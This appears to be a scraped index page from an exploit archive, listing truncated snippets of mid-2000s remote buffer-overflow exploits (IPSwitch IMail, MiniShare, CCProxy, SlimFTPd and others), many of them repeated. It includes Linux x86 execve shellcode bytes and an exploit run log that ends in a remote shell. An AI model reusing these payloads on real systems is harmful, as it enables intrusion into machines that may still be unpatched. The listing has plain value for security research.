Winamp 5.06 - 'IN_CDDA.dll' Remote Buffer Overflow

/ Credits go to the author How to fix and study the bug: - The cdda library only reserves 20 bytes for names when files are ".cda" - run Winamp with ollye - when loaded locate and break at: 10009BBB 8D4C24 20 LEA ECX,DWORD PTR SS:ESP+20 10009BBF 84C0 TEST AL,AL 10009BC1 74 0F JE SHORT...

Prozilla 1.3.6 - Remote Stack Overflow

Prozilla 1.3.6 - Remote Stack Overflow / 20/10/2004 This is a private work of Serkan Akpolat [email protected] for the unpublished prozilla-1.3.6 format string/buffer overflow vulnerability , though this version only exploits the stack overflow. Tested against current gentoo/slack/debian/sus...

IPSwitch-IMail-8.13-DELETE.pl

!/usr/bin/perl -w IPSwitch-IMail-8.13-DELETE Discovered by : Muts Coded by : Zatlander WWW.WHITEHAT.CO.IL Plain vanilla stack overflow in the DELETE command Restrictions: - Need valid authentication credentials - Input buffer only allows characters between x20 - x7e Credits: -...

MiniShare Remote Buffer Overflow Exploit (c source)

No description provided by source. / no@0x00:/Exploits/minishare$ ./mini-exploit 10.20.30.2 MiniShare remote buffer overflow UNIX exploit by NoPh0BiA. x Connected to: 10.20.30.2 on port 80. x Sending bad code..done. x Trying to connect to: 10.20.30.2 on port 4444.. x 0wn3d! Microsoft Windows 2000...

MiniShare 1.4.1 - Remote Buffer Overflow (2)

/ no@0x00:/Exploits/minishare$ ./mini-exploit 10.20.30.2 MiniShare remote buffer overflow UNIX exploit by NoPh0BiA. x Connected to: 10.20.30.2 on port 80. x Sending bad code..done. x Trying to connect to: 10.20.30.2 on port 4444.. x 0wn3d! Microsoft Windows 2000 Version 5.00.2195 C Copyright...

IPSwitch-IMail-8.13 Stack Overflow in the DELETE Command

!/usr/bin/perl -w IPSwitch-IMail-8.13-DELETE Discovered by : Muts Coded by : Zatlander WWW.WHITEHAT.CO.IL Plain vanilla stack overflow in the DELETE command Restrictions: - Need valid authentication credentials - Input buffer only allows characters between x20 - x7e Credits: -...

linux/x86 execve code 23 bytes

linux/x86 execve code 23 bytes. Shellcode exploit for linx86 platform / Linux 23 byte execve code. Greetz to preedator marcetam admin at marcetam.net / char linux= "\x99" / cdq / "\x52" / push %edx / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f / "\x68\x2f\x62\x69\x6e" / push $0x6e69622f / "\x89\xe3...

linux/x86 execve"/bin/ash",0,0; 21 bytes

linux/x86 execve"/bin/ash",0,0; 21 bytes. Shellcode exploit for linx86 platform / 21 byte execve"/bin/ash",0,0; shellcode for linux x86 by zasta zasta at darkircop.org / include include char shellcode = "\x31\xc9\xf7\xe1\x04\x0b\x52\x68" "\x2f\x61\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xcd\x80";...

linux/x86 execve code 23 bytes

No description provided by source. / Linux 23 byte execve code. Greetz to preedator marcetam admin at marcetam.net / char linux= "\x99" / cdq / "\x52" / push %edx / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f / "\x68\x2f\x62\x69\x6e" / push $0x6e69622f / "\x89\xe3" / mov %esp,%ebx / "\x52" / push...

linux/x86 execve("/bin/ash",0,0); 21 bytes

Exploit for linux/x86 platform in category shellcode ========================================== linux/x86 execve"/bin/ash",0,0; 21 bytes ========================================== / 21 byte execve"/bin/ash",0,0; shellcode for linux x86 by zasta zasta at darkircop.org / include include char...

pop_exp2.py

!/usr/bin/env python """ Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai Coded as a PoC for defeating NoN-Exec stacks and stack protections like overflow guard etc. This exploit utilizes the 520 byte buffer in the TEB i.e is used for ANSI to Unicode String operations. The EIP i...

IPSwitch IMail 8.13 (DELETE) Remote Stack Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================== IPSwitch IMail 8.13 DELETE Remote Stack Overflow Exploit ========================================================== !/usr/bin/perl -w IPSwitch-IMail-8.13-DELETE Discovered by : Muts...

IPSwitch IMail 8.13 - 'DELETE' Remote Stack Overflow

!/usr/bin/perl -w IPSwitch-IMail-8.13-DELETE Discovered by : Muts Coded by : Zatlander WWW.WHITEHAT.CO.IL Plain vanilla stack overflow in the DELETE command Restrictions: - Need valid authentication credentials - Input buffer only allows characters between x20 - x7e Credits: -...

IPSwitch IMail 8.13 (DELETE) Remote Stack Overflow Exploit

No description provided by source. !/usr/bin/perl -w IPSwitch-IMail-8.13-DELETE Discovered by : Muts Coded by : Zatlander WWW.WHITEHAT.CO.IL Plain vanilla stack overflow in the DELETE command Restrictions: - Need valid authentication credentials - Input buffer only allows characters between x20 -...

IPSwitch IMail 8.13 - DELETE Remote Stack Overflow

IPSwitch IMail 8.13 - DELETE Remote Stack Overflow !/usr/bin/perl -w IPSwitch-IMail-8.13-DELETE Discovered by : Muts Coded by : Zatlander WWW.WHITEHAT.CO.IL Plain vanilla stack overflow in the DELETE command Restrictions: - Need valid authentication credentials - Input buffer only allows characte...

CCProxy 6.2 - 'ping' Remote Buffer Overflow

|------------------------------------------------------------| | CCProxy 6.2 ping Remote Buffer Overflow Exploit | | Based on Ruder's discovery,exploit by KaGra | | Binds Shellcode aT 101,use netcat to connect back... | | Tested in WinXP SP1 EnGlish | | Greedingz to:NinA,Coderz.gr and my musik Ba...

SlimFTPd <= 3.15 Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits =============================================== SlimFTPd = 3.15 Remote Buffer Overflow Exploit =============================================== / SlimFTPd = 3.15, Remote Buffer Overflow Exploit v0.1. Bind a shellcode to the port 101. Full...

SlimFTPd 3.15 - Remote Buffer Overflow

SlimFTPd 3.15 - Remote Buffer Overflow / SlimFTPd = 3.15, Remote Buffer Overflow Exploit v0.1. Bind a shellcode to the port 101. Full disclosure and exploit by class101 at DFind.kd-team.com & n3ws at EFnet 10 november 2004 Thanx to HDMoore and Metasploit.com for their kickass ASM work...

CCProxy 6.2 (ping) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================= CCProxy 6.2 ping Remote Buffer Overflow Exploit ================================================= |------------------------------------------------------------| | CCProxy 6.2 ping Remote...

Qwik SMTP 0.3 - Format String

Qwik SMTP 0.3 - Format String / qwik-smtp Remote Root Exploit ------------------------------- Bug found by: Dark Eagle Exploit coded by: Carlos Barros Home Page: http://www.barrossecurity.com Exploitation techinique: This bug is a simple format string bug. While coding this exploit, I found just...